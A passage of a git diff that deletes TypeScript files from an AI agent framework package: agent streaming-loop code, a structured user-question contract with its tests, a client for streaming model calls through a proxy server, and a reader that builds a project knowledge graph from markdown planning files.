AgentMessage | null = null; - - try { - const stream = messages - ? agentLoop( - messages, - context, - config, - this.abortController.signal, - this.streamFn, - ) - : agentLoopContinue( - context, - config, - this.abortController.signal, - this.streamFn, - ); - - for await (const event of stream) { - // Update internal state based on events - switch (event.type) { - case "message_start": - case "message_update": - partial = event.message; - this._state.streamMessage = event.message; - break; - - case "message_end": - partial = null; - this._state.streamMessage = null; - this.appendMessage(event.message); - break; - - case "tool_execution_start": - this._updatePendingToolCalls("add", event.toolCallId); - break; - - case "tool_execution_end": - this._updatePendingToolCalls("delete", event.toolCallId); - break; - - case "turn_end": - if ( - event.message.role === "assistant" && - (event.message as any).errorMessage - ) { - this._state.error = (event.message as any).errorMessage; - } - break; - - case "agent_end": - this._state.isStreaming = false; - this._state.streamMessage = null; - break; - } - - // Emit to listeners - this.emit(event); - } - - // Handle any remaining partial message - if ( - partial && - partial.role === "assistant" && - partial.content.length > 0 - ) { - const onlyEmpty = !partial.content.some( - (c) => - (c.type === "thinking" && c.thinking.trim().length > 0) || - (c.type === "text" && c.text.trim().length > 0) || - (c.type === "toolCall" && c.name.trim().length > 0), - ); - if (!onlyEmpty) { - this.appendMessage(partial); - } else { - if (this.abortController?.signal.aborted) { - throw new Error("Request was aborted"); - } - } - } - } catch (err: any) { - const errorMsg: AgentMessage = { - role: "assistant", - content: [{ type: "text", text: "" }], - api: model.api, - provider: model.provider, - model: model.id, - usage: ZERO_USAGE, - stopReason: this.abortController?.signal.aborted ? "aborted" : "error", - errorMessage: err?.message || String(err), - timestamp: Date.now(), - } as AgentMessage; - - this.appendMessage(errorMsg); - this._state.error = err?.message || String(err); - this.emit({ type: "agent_end", messages: [errorMsg] }); - } finally { - this._state.isStreaming = false; - this._state.streamMessage = null; - this._state.pendingToolCalls = new Set(); - this._state.activeInferenceModel = undefined; - this.abortController = undefined; - this.resolveRunningPrompt?.(); - this.runningPrompt = undefined; - this.resolveRunningPrompt = undefined; - } - } - - private _updatePendingToolCalls(action: "add" | "delete", id: string): void { - const s = new Set(this._state.pendingToolCalls); - s[action](id); - this._state.pendingToolCalls = s; - } - - private emit(e: AgentEvent) { - for (const listener of this.listeners) { - listener(e); - } - } -} diff --git a/packages/pi-agent-core/src/index.ts b/packages/pi-agent-core/src/index.ts deleted file mode 100644 index ded337b37..000000000 --- a/packages/pi-agent-core/src/index.ts +++ /dev/null @@ -1,12 +0,0 @@ -// Core Agent -export * from "./agent.js"; -// Loop functions -export * from "./agent-loop.js"; -// Interactive question contract -export * from "./interactive-questions.js"; -// Proxy utilities -export * from "./proxy.js"; -// SF project graph -export * from "./sf-graph.js"; -// Types -export * from "./types.js"; diff --git a/packages/pi-agent-core/src/interactive-questions.test.ts b/packages/pi-agent-core/src/interactive-questions.test.ts deleted file mode 100644 index 74e4fcacb..000000000 --- a/packages/pi-agent-core/src/interactive-questions.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; -import { - formatRoundResultForTool, - type Question, - roundResultFromElicitationContent, - roundResultFromRemoteAnswer, -} from "./interactive-questions.js"; - -const questions: Question[] = [ - { - id: "choice", - header: "Choice", - question: "Pick one", - options: [ - { label: "Alpha", description: "A" }, - { label: "None of the above", description: "Other" }, - ], - }, - { - id: "multi", - header: "Multi", - question: "Pick many", - allowMultiple: true, - options: [ - { label: "Frontend", description: "UI" }, - { label: "Backend", description: "API" }, - ], - }, -]; - -test("roundResultFromElicitationContent preserves notes and multi-select arrays", () => { - const result = roundResultFromElicitationContent(questions, { - action: "accept", - content: { - choice: "None of the above", - choice__note: "Hybrid", - multi: ["Frontend"], - }, - }); - - assert.deepEqual(result, { - endInterview: false, - answers: { - choice: { selected: "None of the above", notes: "Hybrid" }, - multi: { selected: ["Frontend"], notes: "" }, - }, - }); -}); - -test("roundResultFromRemoteAnswer uses question metadata to keep one multi-select as array", () => { - const result = roundResultFromRemoteAnswer( - { - answers: { - choice: { answers: ["Alpha"] }, - multi: { answers: ["Backend"] }, - }, - }, - questions, - ); - - assert.deepEqual(result.answers.choice.selected, "Alpha"); - assert.deepEqual(result.answers.multi.selected, ["Backend"]); - assert.equal( - formatRoundResultForTool(result), - JSON.stringify({ - answers: { - choice: { answers: ["Alpha"] }, - multi: { answers: ["Backend"] }, - }, - }), - ); -}); diff --git a/packages/pi-agent-core/src/interactive-questions.ts b/packages/pi-agent-core/src/interactive-questions.ts deleted file mode 100644 index f8a9c4d98..000000000 --- a/packages/pi-agent-core/src/interactive-questions.ts +++ /dev/null @@ -1,171 +0,0 @@ -/** - * Shared structured-question contract for local UI, remote channels, and MCP. - * - * Purpose: keep every ask_user_questions transport on the same answer shape so - * gate hooks and LLM-facing JSON do not drift between local TUI, remote - * Slack/Discord/Telegram, and MCP elicitation paths. - * - * Consumer: SF ask_user_questions extension, remote question manager, and - * structured-question transports. - */ - -export interface QuestionOption { - label: string; - description: string; -} - -export interface Question { - id: string; - header: string; - question: string; - options: QuestionOption[]; - allowMultiple?: boolean; -} - -export interface RoundAnswer { - selected: string | string[]; - notes: string; -} - -export interface RoundResult { - /** Always false; wrap-up/exit is handled outside a single question round. */ - endInterview: false; - answers: Record; -} - -export interface RemoteAnswerLike { - answers: Record; -} - -export type ElicitationContentValue = string | number | boolean | string[]; - -export interface ElicitationResultLike { - action?: "accept" | "decline" | "cancel" | string; - content?: Record; -} - -export const DEFAULT_OTHER_OPTION_LABEL = "None of the above"; - -function normalizeNote(value: ElicitationContentValue | undefined): string { - return typeof value === "string" ? value.trim() : ""; -} - -function normalizeSelectedList( - value: ElicitationContentValue | undefined, - allowMultiple: boolean, -): string[] { - if (allowMultiple) { - return Array.isArray(value) - ? value.filter((item): item is string => typeof item === "string") - : []; - } - return typeof value === "string" && value.length > 0 ? [value] : []; -} - -/** - * Convert local/MCP elicitation form content into the canonical RoundResult. - * - * Purpose: preserve the multi-select array contract and "None of the above" - * notes consistently across transports. - * - * Consumer: MCP ask_user_questions handler and any form-based local bridge. - */ -export function roundResultFromElicitationContent( - questions: readonly Question[], - result: ElicitationResultLike, - otherOptionLabel = DEFAULT_OTHER_OPTION_LABEL, -): RoundResult { - const content = result.content ?? {}; - const answers: Record = {}; - - for (const question of questions) { - if (question.allowMultiple) { - answers[question.id] = { - selected: normalizeSelectedList(content[question.id], true), - notes: "", - }; - continue; - } - - const list = normalizeSelectedList(content[question.id], false); - const selected = list[0] ?? ""; - const notes = - selected === otherOptionLabel - ? normalizeNote(content[`${question.id}__note`]) - : ""; - answers[question.id] = { selected, notes }; - } - - return { endInterview: false, answers }; -} - -/** - * Convert a remote-channel answer into the canonical RoundResult. - * - * Purpose: remote adapters store answers as `{ answers: string[] }`; consumers - * need the same `selected` shape as local TUI, especially array preservation for - * multi-select questions with a single selected item. - * - * Consumer: SF remote question manager. - */ -export function roundResultFromRemoteAnswer( - answer: RemoteAnswerLike, - questions: readonly Question[], -): RoundResult { - const allowMultipleById = new Map(); - for (const question of questions) { - allowMultipleById.set(question.id, question.allowMultiple ?? false); - } - - const answers: Record = {}; - for (const [id, data] of Object.entries(answer.answers)) { - const list = data.answers ?? []; - const allowMultiple = allowMultipleById.get(id) ?? false; - answers[id] = { - selected: allowMultiple ? [...list] : (list[0] ?? ""), - notes: data.user_note ?? "", - }; - } - - return { endInterview: false, answers }; -} - -/** - * Render the canonical RoundResult as the historical LLM/tool JSON payload. - * - * Purpose: keep the text response backward-compatible while structured callers - * consume RoundResult directly. - * - * Consumer: ask_user_questions local/remote/MCP handlers. - */ -export function formatRoundResultForTool(result: RoundResult): string { - const answers: Record = {}; - for (const [id, answer] of Object.entries(result.answers)) { - const list = Array.isArray(answer.selected) - ? [...answer.selected] - : [answer.selected]; - if (answer.notes) list.push(`user_note: ${answer.notes}`); - answers[id] = { answers: list }; - } - return JSON.stringify({ answers }); -} - -/** - * Build the structured content payload shared by MCP and extension details. - * - * Purpose: provide the same cancellation and response contract to gate hooks - * regardless of transport. - * - * Consumer: MCP ask_user_questions handler. - */ -export function buildQuestionStructuredContent( - questions: readonly Question[], - response: RoundResult | null, - cancelled: boolean, -): { - questions: readonly Question[]; - response: RoundResult | null; - cancelled: boolean; -} { - return { questions, response, cancelled }; -} diff --git a/packages/pi-agent-core/src/proxy.ts b/packages/pi-agent-core/src/proxy.ts deleted file mode 100644 index 3e09f507e..000000000 --- a/packages/pi-agent-core/src/proxy.ts +++ /dev/null @@ -1,363 +0,0 @@ -/** - * Proxy stream function for apps that route LLM calls through a server. - * The server manages auth and proxies requests to LLM providers. - */ - -// Internal import for JSON parsing utility -import { - type AssistantMessage, - type AssistantMessageEvent, - type Context, - EventStream, - type Model, - parseStreamingJson, - type SimpleStreamOptions, - type StopReason, - type ToolCall, -} from "@singularity-forge/pi-ai"; -import { ZERO_USAGE } from "./agent-loop.js"; - -// Create stream class matching ProxyMessageEventStream -class ProxyMessageEventStream extends EventStream< - AssistantMessageEvent, - AssistantMessage -> { - constructor() { - super( - (event) => event.type === "done" || event.type === "error", - (event) => { - if (event.type === "done") return event.message; - if (event.type === "error") return event.error; - throw new Error("Unexpected event type"); - }, - ); - } -} - -/** - * Proxy event types - server sends these with partial field stripped to reduce bandwidth. - */ -export type ProxyAssistantMessageEvent = - | { type: "start" } - | { type: "text_start"; contentIndex: number } - | { type: "text_delta"; contentIndex: number; delta: string } - | { type: "text_end"; contentIndex: number; contentSignature?: string } - | { type: "thinking_start"; contentIndex: number } - | { type: "thinking_delta"; contentIndex: number; delta: string } - | { type: "thinking_end"; contentIndex: number; contentSignature?: string } - | { - type: "toolcall_start"; - contentIndex: number; - id: string; - toolName: string; - } - | { type: "toolcall_delta"; contentIndex: number; delta: string } - | { type: "toolcall_end"; contentIndex: number } - | { - type: "done"; - reason: Extract; - usage: AssistantMessage["usage"]; - } - | { - type: "error"; - reason: Extract; - errorMessage?: string; - usage: AssistantMessage["usage"]; - }; - -export interface ProxyStreamOptions extends SimpleStreamOptions { - /** Auth token for the proxy server */ - authToken: string; - /** Proxy server URL (e.g., "https://genai.example.com") */ - proxyUrl: string; -} - -/** - * Stream function that proxies through a server instead of calling LLM providers directly. - * The server strips the partial field from delta events to reduce bandwidth. - * We reconstruct the partial message client-side. - * - * Use this as the `streamFn` option when creating an Agent that needs to go through a proxy. - * - * @example - * ```typescript - * const agent = new Agent({ - * streamFn: (model, context, options) => - * streamProxy(model, context, { - * ...options, - * authToken: await getAuthToken(), - * proxyUrl: "https://genai.example.com", - * }), - * }); - * ``` - */ -function _streamProxy( - model: Model, - context: Context, - options: ProxyStreamOptions, -): ProxyMessageEventStream { - const stream = new ProxyMessageEventStream(); - - (async () => { - // Initialize the partial message that we'll build up from events - const partial: AssistantMessage = { - role: "assistant", - stopReason: "stop", - content: [], - api: model.api, - provider: model.provider, - model: model.id, - usage: { ...ZERO_USAGE, cost: { ...ZERO_USAGE.cost } }, - timestamp: Date.now(), - }; - - let reader: ReadableStreamDefaultReader | undefined; - - const abortHandler = () => { - if (reader) { - reader.cancel("Request aborted by user").catch(() => {}); - } - }; - - if (options.signal) { - options.signal.addEventListener("abort", abortHandler); - } - - try { - const response = await fetch(`${options.proxyUrl}/api/stream`, { - method: "POST", - headers: { - Authorization: `Bearer ${options.authToken}`, - "Content-Type": "application/json", - }, - body: JSON.stringify({ - model, - context, - options: { - temperature: options.temperature, - maxTokens: options.maxTokens, - reasoning: options.reasoning, - }, - }), - signal: options.signal, - }); - - if (!response.ok) { - let errorMessage = `Proxy error: ${response.status} ${response.statusText}`; - try { - const errorData = (await response.json()) as { error?: string }; - if (errorData.error) { - errorMessage = `Proxy error: ${errorData.error}`; - } - } catch { - // Couldn't parse error response - } - throw new Error(errorMessage); - } - - reader = response.body!.getReader(); - const decoder = new TextDecoder(); - let buffer = ""; - - while (true) { - const { done, value } = await reader.read(); - if (done) break; - - if (options.signal?.aborted) { - throw new Error("Request aborted by user"); - } - - buffer += decoder.decode(value, { stream: true }); - const lines = buffer.split("\n"); - buffer = lines.pop() || ""; - - for (const line of lines) { - if (line.startsWith("data: ")) { - const data = line.slice(6).trim(); - if (data) { - const proxyEvent = JSON.parse(data) as ProxyAssistantMessageEvent; - const event = processProxyEvent(proxyEvent, partial); - if (event) { - stream.push(event); - } - } - } - } - } - - if (options.signal?.aborted) { - throw new Error("Request aborted by user"); - } - - stream.end(); - } catch (error) { - const errorMessage = - error instanceof Error ? error.message : String(error); - const reason = options.signal?.aborted ? "aborted" : "error"; - partial.stopReason = reason; - partial.errorMessage = errorMessage; - stream.push({ - type: "error", - reason, - error: partial, - }); - stream.end(); - } finally { - if (options.signal) { - options.signal.removeEventListener("abort", abortHandler); - } - } - })(); - - return stream; -} - -/** - * Process a proxy event and update the partial message. - */ -function processProxyEvent( - proxyEvent: ProxyAssistantMessageEvent, - partial: AssistantMessage, -): AssistantMessageEvent | undefined { - switch (proxyEvent.type) { - case "start": - return { type: "start", partial }; - - case "text_start": - partial.content[proxyEvent.contentIndex] = { type: "text", text: "" }; - return { - type: "text_start", - contentIndex: proxyEvent.contentIndex, - partial, - }; - - case "text_delta": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "text") { - content.text += proxyEvent.delta; - return { - type: "text_delta", - contentIndex: proxyEvent.contentIndex, - delta: proxyEvent.delta, - partial, - }; - } - throw new Error("Received text_delta for non-text content"); - } - - case "text_end": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "text") { - content.textSignature = proxyEvent.contentSignature; - return { - type: "text_end", - contentIndex: proxyEvent.contentIndex, - content: content.text, - partial, - }; - } - throw new Error("Received text_end for non-text content"); - } - - case "thinking_start": - partial.content[proxyEvent.contentIndex] = { - type: "thinking", - thinking: "", - }; - return { - type: "thinking_start", - contentIndex: proxyEvent.contentIndex, - partial, - }; - - case "thinking_delta": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "thinking") { - content.thinking += proxyEvent.delta; - return { - type: "thinking_delta", - contentIndex: proxyEvent.contentIndex, - delta: proxyEvent.delta, - partial, - }; - } - throw new Error("Received thinking_delta for non-thinking content"); - } - - case "thinking_end": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "thinking") { - content.thinkingSignature = proxyEvent.contentSignature; - return { - type: "thinking_end", - contentIndex: proxyEvent.contentIndex, - content: content.thinking, - partial, - }; - } - throw new Error("Received thinking_end for non-thinking content"); - } - - case "toolcall_start": - partial.content[proxyEvent.contentIndex] = { - type: "toolCall", - id: proxyEvent.id, - name: proxyEvent.toolName, - arguments: {}, - partialJson: "", - } satisfies ToolCall & { partialJson: string } as ToolCall; - return { - type: "toolcall_start", - contentIndex: proxyEvent.contentIndex, - partial, - }; - - case "toolcall_delta": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "toolCall") { - (content as any).partialJson += proxyEvent.delta; - content.arguments = - parseStreamingJson((content as any).partialJson) || {}; - partial.content[proxyEvent.contentIndex] = { ...content }; // Trigger reactivity - return { - type: "toolcall_delta", - contentIndex: proxyEvent.contentIndex, - delta: proxyEvent.delta, - partial, - }; - } - throw new Error("Received toolcall_delta for non-toolCall content"); - } - - case "toolcall_end": { - const content = partial.content[proxyEvent.contentIndex]; - if (content?.type === "toolCall") { - delete (content as any).partialJson; - return { - type: "toolcall_end", - contentIndex: proxyEvent.contentIndex, - toolCall: content, - partial, - }; - } - return undefined; - } - - case "done": - partial.stopReason = proxyEvent.reason; - partial.usage = proxyEvent.usage; - return { type: "done", reason: proxyEvent.reason, message: partial }; - - case "error": - partial.stopReason = proxyEvent.reason; - partial.errorMessage = proxyEvent.errorMessage; - partial.usage = proxyEvent.usage; - return { type: "error", reason: proxyEvent.reason, error: partial }; - - default: { - const _exhaustiveCheck: never = proxyEvent; - console.warn(`Unhandled proxy event type: ${(proxyEvent as any).type}`); - return undefined; - } - } -} diff --git a/packages/pi-agent-core/src/sf-graph.ts b/packages/pi-agent-core/src/sf-graph.ts deleted file mode 100644 index 0721c66cc..000000000 --- a/packages/pi-agent-core/src/sf-graph.ts +++ /dev/null @@ -1,1035 +0,0 @@ -/** - * SF project graph reader. - * - * Purpose: derive local SF planning knowledge from `.sf/` artifacts without - * making MCP the owner of core graph behavior. The graph remains generated - * state under `.sf/graphs/`; durable repo artifacts still go through explicit - * promotion. - * - * Consumer: `sf graph`, MCP `sf_graph`, and prompt context injection. - */ - -import { execFileSync } from "node:child_process"; -import { - existsSync, - mkdirSync, - readdirSync, - readFileSync, - renameSync, - statSync, - writeFileSync, -} from "node:fs"; -import { dirname, join, resolve } from "node:path"; - -// --------------------------------------------------------------------------- -// Types -// --------------------------------------------------------------------------- - -export type NodeType = - | "milestone" - | "slice" - | "task" - | "rule" - | "pattern" - | "lesson" - | "concept" - | "decision"; - -export type EdgeType = "contains" | "depends_on" | "relates_to" | "implements"; - -export type ConfidenceTier = "EXTRACTED" | "INFERRED" | "AMBIGUOUS"; - -export interface GraphNode { - id: string; - label: string; - type: NodeType; - description?: string; - confidence: ConfidenceTier; - sourceFile?: string; -} - -export interface GraphEdge { - from: string; - to: string; - type: EdgeType; - confidence: ConfidenceTier; -} - -export interface KnowledgeGraph { - nodes: GraphNode[]; - edges: GraphEdge[]; - builtAt: string; -} - -export interface GraphStatusResult { - exists: boolean; - lastBuild?: string; - nodeCount?: number; - edgeCount?: number; - stale?: boolean; - ageHours?: number; -} - -export interface GraphQueryResult { - nodes: GraphNode[]; - edges: GraphEdge[]; - term: string; - budget: number; -} - -export interface GraphDiffResult { - nodes: { - added: string[]; - removed: string[]; - changed: string[]; - }; - edges: { - added: string[]; - removed: string[]; - }; -} - -// --------------------------------------------------------------------------- -// Graph file paths -// --------------------------------------------------------------------------- - -/** - * Resolve the `.sf/` root for a project checkout. - * - * Purpose: keep derived graph state attached to SF's local project state, - * including external-state symlinks, without requiring callers to know where - * the active `.sf` directory physically lives. - * - * Consumer: SF graph builders and readers. - */ -export function resolveSFRoot(projectDir: string): string { - const resolved = resolve(projectDir); - const direct = join(resolved, ".sf"); - if (existsSync(direct) && statSync(direct).isDirectory()) { - return direct; - } - - try { - const gitRoot = execFileSync("git", ["rev-parse", "--show-toplevel"], { - cwd: resolved, - encoding: "utf-8", - stdio: ["pipe", "pipe", "pipe"], - }).trim(); - const gitSf = join(gitRoot, ".sf"); - if (existsSync(gitSf) && statSync(gitSf).isDirectory()) { - return gitSf; - } - } catch { - // Not a git repo or git is unavailable. - } - - let dir = resolved; - while (dir !== dirname(dir)) { - const candidate = join(dir, ".sf"); - if (existsSync(candidate) && statSync(candidate).isDirectory()) { - return candidate; - } - dir = dirname(dir); - } - - return direct; -} - -function milestonesDir(sfRoot: string): string { - return join(sfRoot, "milestones"); -} - -function findMilestoneIds(sfRoot: string): string[] { - const dir = milestonesDir(sfRoot); - if (!existsSync(dir)) return []; - - const ids: string[] = []; - for (const entry of readdirSync(dir, { withFileTypes: true })) { - if (!entry.isDirectory()) continue; - const match = entry.name.match(/^(M\d+)/); - if (match) ids.push(match[1]); - } - - return ids.sort(); -} - -function resolveMilestoneDir( - sfRoot: string, - milestoneId: string, -): string | null { - const dir = milestonesDir(sfRoot); - if (!existsSync(dir)) return null; - - const exact = join(dir, milestoneId); - if (existsSync(exact) && statSync(exact).isDirectory()) return exact; - - for (const entry of readdirSync(dir, { withFileTypes: true })) { - if (entry.isDirectory() && entry.name.startsWith(milestoneId)) { - return join(dir, entry.name); - } - } - - return null; -} - -function findSliceIds(sfRoot: string, milestoneId: string): string[] { - const mDir = resolveMilestoneDir(sfRoot, milestoneId); - if (!mDir) return []; - - const slicesDir = join(mDir, "slices"); - if (!existsSync(slicesDir)) return []; - - const ids: string[] = []; - for (const entry of readdirSync(slicesDir, { withFileTypes: true })) { - if (!entry.isDirectory()) continue; - const match = entry.name.match(/^(S\d+)/); - if (match) ids.push(match[1]); - } - - return ids.sort(); -} - -function resolveSliceDir( - sfRoot: string, - milestoneId: string, - sliceId: string, -): string | null { - const mDir = resolveMilestoneDir(sfRoot, milestoneId); - if (!mDir) return null; - - const slicesDir = join(mDir, "slices"); - if (!existsSync(slicesDir)) return null; - - const exact = join(slicesDir, sliceId); - if (existsSync(exact) && statSync(exact).isDirectory()) return exact; - - for (const entry of readdirSync(slicesDir, { withFileTypes: true })) { - if (entry.isDirectory() && entry.name.startsWith(sliceId)) { - return join(slicesDir, entry.name); - } - } - - return null; -} - -function graphsDir(sfRoot: string): string { - return join(sfRoot, "graphs"); -} - -function graphJsonPath(sfRoot: string): string { - return join(graphsDir(sfRoot), "graph.json"); -} - -function graphTmpPath(sfRoot: string): string { - return join(graphsDir(sfRoot), "graph.tmp.json"); -} - -function snapshotPath(sfRoot: string): string { - return join(graphsDir(sfRoot), ".last-build-snapshot.json"); -} - -// --------------------------------------------------------------------------- -// Parsers — each returns nodes/edges and never throws -// --------------------------------------------------------------------------- - -/** - * Parse STATE.md for active milestone and phase concepts. - */ -function parseStateFile( - sfRoot: string, - nodes: GraphNode[], - _edges: GraphEdge[], -): void { - const statePath = join(sfRoot, "STATE.md"); - if (!existsSync(statePath)) return; - - let content: string; - try { - content = readFileSync(statePath, "utf-8"); - } catch { - return; - } - - // Extract active milestone - const activeMilestoneMatch = content.match( - /\*\*Active Milestone:\*\*\s+([A-Z]\d+):\s+(.+)/i, - ); - if (activeMilestoneMatch) { - const [, milestoneId, title] = activeMilestoneMatch; - const id = `milestone:${milestoneId}`; - if (!nodes.some((n) => n.id === id)) { - nodes.push({ - id, - label: `${milestoneId}: ${title.trim()}`, - type: "milestone", - description: `Active milestone: ${milestoneId}`, - confidence: "EXTRACTED", - sourceFile: "STATE.md", - }); - } - } - - // Extract phase as concept - const phaseMatch = content.match(/\*\*Phase:\*\*\s+(\S+)/i); - if (phaseMatch) { - const phase = phaseMatch[1].trim(); - nodes.push({ - id: `concept:phase:${phase}`, - label: `Phase: ${phase}`, - type: "concept", - confidence: "EXTRACTED", - sourceFile: "STATE.md", - }); - } -} - -/** - * Parse KNOWLEDGE.md for rules, patterns, and lessons. - */ -function parseKnowledgeFile( - sfRoot: string, - nodes: GraphNode[], - _edges: GraphEdge[], -): void { - const knowledgePath = join(sfRoot, "KNOWLEDGE.md"); - if (!existsSync(knowledgePath)) return; - - let content: string; - try { - content = readFileSync(knowledgePath, "utf-8"); - } catch { - return; - } - - // Parse Rules table - const rulesMatch = content.match(/## Rules\s*\n([\s\S]*?)(?=\n## |$)/i); - if (rulesMatch) { - for (const line of rulesMatch[1].split("\n")) { - if (!line.includes("|")) continue; - const cells = line - .split("|") - .map((c) => c.trim()) - .filter(Boolean); - if (cells.length < 3) continue; - if (cells[0].startsWith("#") || cells[0].startsWith("-")) continue; - const id = cells[0]; - if (!/^K\d+$/i.test(id)) continue; - nodes.push({ - id: `rule:${id}`, - label: id, - type: "rule", - description: cells[2] ?? "", - confidence: "EXTRACTED", - sourceFile: "KNOWLEDGE.md", - }); - } - } - - // Parse Patterns table - const patternsMatch = content.match(/## Patterns\s*\n([\s\S]*?)(?=\n## |$)/i); - if (patternsMatch) { - for (const line of patternsMatch[1].split("\n")) { - if (!line.includes("|")) continue; - const cells = line - .split("|") - .map((c) => c.trim()) - .filter(Boolean); - if (cells.length < 2) continue; - if (cells[0].startsWith("#") || cells[0].startsWith("-")) continue; - const id = cells[0]; - if (!/^P\d+$/i.test(id)) continue; - nodes.push({ - id: `pattern:${id}`, - label: id, - type: "pattern", - description: cells[1] ?? "", - confidence: "EXTRACTED", - sourceFile: "KNOWLEDGE.md", - }); - } - } - - // Parse Lessons Learned table - const lessonsMatch = content.match( - /## Lessons Learned\s*\n([\s\S]*?)(?=\n## |$)/i, - ); - if (lessonsMatch) { - for (const line of lessonsMatch[1].split("\n")) { - if (!line.includes("|")) continue; - const cells = line - .split("|") - .map((c) => c.trim()) - .filter(Boolean); - if (cells.length < 2) continue; - if (cells[0].startsWith("#") || cells[0].startsWith("-")) continue; - const id = cells[0]; - if (!/^L\d+$/i.test(id)) continue; - nodes.push({ - id: `lesson:${id}`, - label: id, - type: "lesson", - description: cells[1] ?? "", - confidence: "EXTRACTED", - sourceFile: "KNOWLEDGE.md", - }); - } - } -} - -/** - * Parse milestone ROADMAP.md files for milestones and slices. - */ -function parseMilestoneFiles( - sfRoot: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - const milestoneIds = findMilestoneIds(sfRoot); - - for (const milestoneId of milestoneIds) { - try { - parseSingleMilestone(sfRoot, milestoneId, nodes, edges); - } catch { - // Skip this milestone on any error - } - } -} - -function parseSingleMilestone( - sfRoot: string, - milestoneId: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - const mDir = resolveMilestoneDir(sfRoot, milestoneId); - if (!mDir) return; - - const milestoneNodeId = `milestone:${milestoneId}`; - - // Try to read the roadmap file - const roadmapPath = join(mDir, `${milestoneId}-ROADMAP.md`); - let roadmapContent: string | null = null; - if (existsSync(roadmapPath)) { - try { - roadmapContent = readFileSync(roadmapPath, "utf-8"); - } catch { - // Skip - } - } - - // Extract milestone title from roadmap - let milestoneTitle = milestoneId; - if (roadmapContent) { - const titleMatch = roadmapContent.match(/^#\s+[A-Z]\d+:\s+(.+)/m); - if (titleMatch) milestoneTitle = `${milestoneId}: ${titleMatch[1].trim()}`; - } - - // Ensure milestone node exists - if (!nodes.some((n) => n.id === milestoneNodeId)) { - nodes.push({ - id: milestoneNodeId, - label: milestoneTitle, - type: "milestone", - confidence: "EXTRACTED", - sourceFile: roadmapContent - ? `milestones/${milestoneId}/${milestoneId}-ROADMAP.md` - : undefined, - }); - } - - // Parse slices from roadmap table or filesystem - const sliceIds = findSliceIds(sfRoot, milestoneId); - for (const sliceId of sliceIds) { - try { - parseSingleSlice( - sfRoot, - milestoneId, - sliceId, - milestoneNodeId, - nodes, - edges, - ); - } catch { - // Skip this slice on any error - } - } -} - -function parseSingleSlice( - sfRoot: string, - milestoneId: string, - sliceId: string, - milestoneNodeId: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - const sDir = resolveSliceDir(sfRoot, milestoneId, sliceId); - if (!sDir) return; - - const sliceNodeId = `slice:${milestoneId}:${sliceId}`; - - // Try to read the slice plan - const planPath = join(sDir, `${sliceId}-PLAN.md`); - let sliceTitle = `${milestoneId}/${sliceId}`; - let planContent: string | null = null; - - if (existsSync(planPath)) { - try { - planContent = readFileSync(planPath, "utf-8"); - const titleMatch = planContent.match(/^#\s+[A-Z]\d+:\s+(.+)/m); - if (titleMatch) sliceTitle = `${sliceId}: ${titleMatch[1].trim()}`; - } catch { - // Use default title - } - } - - nodes.push({ - id: sliceNodeId, - label: sliceTitle, - type: "slice", - confidence: "EXTRACTED", - sourceFile: planContent - ? `milestones/${milestoneId}/slices/${sliceId}/${sliceId}-PLAN.md` - : undefined, - }); - - // Edge: milestone contains slice - edges.push({ - from: milestoneNodeId, - to: sliceNodeId, - type: "contains", - confidence: "EXTRACTED", - }); - - // Parse tasks from the slice plan - if (planContent) { - parseTasksFromPlan( - planContent, - milestoneId, - sliceId, - sliceNodeId, - nodes, - edges, - ); - } -} - -function parseTasksFromPlan( - content: string, - milestoneId: string, - sliceId: string, - sliceNodeId: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - // Match lines like: - [ ] **T01: Title** — description - const taskPattern = /[-*]\s+\[[ x]\]\s+\*\*(T\d+):\s*([^*]+)\*\*/g; - let match: RegExpExecArray | null; - - while ((match = taskPattern.exec(content)) !== null) { - const [, taskId, taskTitle] = match; - const taskNodeId = `task:${milestoneId}:${sliceId}:${taskId}`; - - nodes.push({ - id: taskNodeId, - label: `${taskId}: ${taskTitle.trim()}`, - type: "task", - confidence: "EXTRACTED", - }); - - edges.push({ - from: sliceNodeId, - to: taskNodeId, - type: "contains", - confidence: "EXTRACTED", - }); - } -} - -// --------------------------------------------------------------------------- -// LEARNINGS.md parser -// --------------------------------------------------------------------------- - -/** - * Parse all *-LEARNINGS.md files found in milestone directories. - * Extracts Decisions, Lessons, Patterns, and Surprises as typed graph nodes. - * Surprises are mapped to the 'lesson' NodeType (no distinct type exists). - * Parse errors per file are caught — the file is skipped, never rethrows. - */ -function parseLearningsFiles( - sfRoot: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - const milestoneIds = findMilestoneIds(sfRoot); - - for (const milestoneId of milestoneIds) { - try { - parseSingleLearningsFile(sfRoot, milestoneId, nodes, edges); - } catch { - // Skip this milestone's LEARNINGS.md on any error - } - } -} - -function parseSingleLearningsFile( - sfRoot: string, - milestoneId: string, - nodes: GraphNode[], - edges: GraphEdge[], -): void { - const mDir = resolveMilestoneDir(sfRoot, milestoneId); - if (!mDir) return; - - const learningsPath = join(mDir, `${milestoneId}-LEARNINGS.md`); - if (!existsSync(learningsPath)) return; - - let content: string; - try { - content = readFileSync(learningsPath, "utf-8"); - } catch { - return; - } - - // Strip YAML frontmatter if present - const withoutFrontmatter = content.replace(/^---[\s\S]*?---\n?/, ""); - - const milestoneNodeId = `milestone:${milestoneId}`; - const sourceFile = `milestones/${milestoneId}/${milestoneId}-LEARNINGS.md`; - - // Parse each section: [sectionName, nodeType, idPrefix] - const sections: Array<[string, NodeType, string]> = [ - ["Decisions", "decision", "decision"], - ["Lessons", "lesson", "lesson"], - ["Patterns", "pattern", "pattern"], - ["Surprises", "lesson", "surprise"], - ]; - - for (const [sectionName, nodeType, idPrefix] of sections) { - const sectionMatch = withoutFrontmatter.match( - new RegExp(`##\\s+${sectionName}\\s*\\n([\\s\\S]*?)(?=\\n##\\s|$)`, "i"), - ); - if (!sectionMatch) continue; - - const sectionContent = sectionMatch[1]; - parseLearningsSection( - sectionContent, - milestoneId, - idPrefix, - nodeType, - milestoneNodeId, - sourceFile, - nodes, - edges, - ); - } -} - -function parseLearningsSection( - sectionContent: string, - milestoneId: string, 